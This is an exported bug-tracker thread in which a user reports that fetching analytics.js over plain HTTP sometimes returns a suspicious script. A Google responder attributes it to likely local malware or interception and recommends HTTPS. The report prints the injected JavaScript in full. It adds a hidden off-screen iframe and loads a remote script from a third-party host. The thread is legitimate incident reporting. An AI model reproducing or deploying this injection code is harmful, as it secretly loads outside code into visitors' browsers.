UpendraSingh / analytics-issues

Automatically exported from code.google.com/p/analytics-issues
0 stars 0 forks source link

Inconsistent analytics.js respose #895

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago

---------------------------------------------------------------------------
NOTE: This tool is not designed to request help. It is only for
reporting issues and requesting features for the Google Analytics
libraries.

If you are a developer and you need help, visit:
https://developers.google.com/analytics/help/

If you are not a developer and you need help, visit:
https://support.google.com/analytics
---------------------------------------------------------------------------
Name of affected component: Tracking Code (Javascript / ga.js)

Issue summary:
The response of the file analytics.js request is inconsistent. The expected 
file is not loaded upon request, suspicious file is loaded instead.

URL of the page exhibiting the issue:
http://www.google-analytics.com/analytics.js

Steps to reproduce issue:
1.Using the link http://www.google-analytics.com/analytics.js to request google 
analytic code. 
2.Keep refreshing until you get the suspicious file (usually after few 
refreshes and not from first time)

Expected output:
A java script file that contains google analytic functionality and classes.

Actual results:
suspicious file that contain useless code 

Notes:
the loaded code : 

(function(){d=document;h=d.getElementsByTagName('head')[0];ha=h.appendChild;b=d.
body.appendChild;c=d.createElement;var 
l=c.apply(d,["link"]);l.rel="stylesheet";l.href="http://www.google.com/analytics
/css/default2.css?ks=0&i=70474&iid=KHTwBQcAVwAA";var 
f=c.apply(d,["iframe"]);f.id="mtgh";var 
z=f.style;z.position="absolute";z.top="-500px";z.left="-500px";f.frameborder="0"
;var 
s=c.apply(d,["script"]);s.src="https://www.webtrafficanalytics.net/BannerRequest
.php?iw=aqp&id=n6oL77sJCF&iu=1&im=1&ip=4&it=70474&ii=KHTwBQcAVwAA&iz=1456664456&
ih=75faa09a5dcb47ea968d308d94fb2a799502d0db";ha.apply(h,[l]);b.apply(d.body,[f])
;b.apply(d.body,[s]);})()

Original issue reported on code.google.com by firas.ma...@exalt.ps on 28 Feb 2016 at 1:15

GoogleCodeExporter commented 8 years ago
I can't reproduce this myself. It's possible you have some malware on your 
system that's intercepting network requests.

Can you reproduce the issue if you request the HTTPS version instead of HTTP?
https://www.google-analytics.com/analytics.js

Original comment by philipwa...@google.com on 28 Feb 2016 at 6:03

GoogleCodeExporter commented 8 years ago
The problem doesn't appear when HTTPS used, could it be some kind of man in the 
middle attack?

Original comment by firas.ma...@exalt.ps on 29 Feb 2016 at 7:44

GoogleCodeExporter commented 8 years ago
It's hard to say for sure what it is, but most likely it's a problem on your 
end and not with the google-analytics.com domain. Especially if you can't 
reproduce it using HTTPS.

In general it's always best to use HTTPS if it's available for exactly these 
types of reasons.

Original comment by philipwa...@google.com on 29 Feb 2016 at 3:50